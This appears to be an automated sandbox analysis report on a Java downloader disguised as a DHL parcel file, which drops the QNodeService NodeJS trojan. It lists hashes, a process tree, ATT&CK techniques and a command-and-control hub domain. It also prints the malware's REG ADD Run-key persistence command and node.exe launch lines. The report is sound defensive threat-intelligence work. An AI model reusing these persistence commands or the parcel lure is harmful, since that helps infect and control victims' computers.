qnodeservice | 6d7391f3b72f90dc29c7ec23669cfd7d446bca076785a54dc62ffefb5afe9177

General

Target

DHL PAKET(1).jar
Size

78KB
MD5

58f7e6ce14c9de20d69d827cb46a01c3
SHA1

5add0ecce78774811645614bb66272a274013727
SHA256

6d7391f3b72f90dc29c7ec23669cfd7d446bca076785a54dc62ffefb5afe9177
SHA512

c8ba502abf70b324a2ecc5f9cbf92c28c71bcbc796e8d635d9a4671d11ef8630a53a745854c74308f9c4592af70b72a0e3575d928051a0d61c03a55277f3ddb1

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2188	node.exe
3928	node.exe
1792	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\e6dd0b67-fbd5-4a37-8aae-5fc267672069 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab9a-163.dat	js
behavioral2/files/0x000100000001ab9a-167.dat	js
behavioral2/files/0x000100000001ab9a-171.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	wtfismyip.com
29	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2188	node.exe
2188	node.exe
2188	node.exe
2188	node.exe
3928	node.exe
3928	node.exe
3928	node.exe
3928	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe
1792	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2484 wrote to memory of 2764	2484	java.exe	76
PID 2484 wrote to memory of 2764	2484	java.exe	76
PID 2764 wrote to memory of 2188	2764	javaw.exe	80
PID 2764 wrote to memory of 2188	2764	javaw.exe	80
PID 2188 wrote to memory of 3928	2188	node.exe	82
PID 2188 wrote to memory of 3928	2188	node.exe	82
PID 3928 wrote to memory of 1792	3928	node.exe	83
PID 3928 wrote to memory of 1792	3928	node.exe	83
PID 1792 wrote to memory of 188	1792	node.exe	85
PID 1792 wrote to memory of 188	1792	node.exe	85
PID 188 wrote to memory of 3700	188	cmd.exe	86
PID 188 wrote to memory of 3700	188	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL PAKET(1).jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2484
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\d7fc52d4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain spaco110cddfdf.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_QLUTMU\boot.js --hub-domain spaco110cddfdf.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_QLUTMU\boot.js --hub-domain spaco110cddfdf.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e6dd0b67-fbd5-4a37-8aae-5fc267672069" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:188
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e6dd0b67-fbd5-4a37-8aae-5fc267672069" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1792-172-0x000001E84E580000-0x000001E84E581000-memory.dmp

Filesize
4KB

Download
memory/2188-165-0x000000B4A0800000-0x000000B4A0801000-memory.dmp

Filesize
4KB

Download
memory/3928-168-0x0000021045480000-0x0000021045481000-memory.dmp

Filesize
4KB

Download

Analysis

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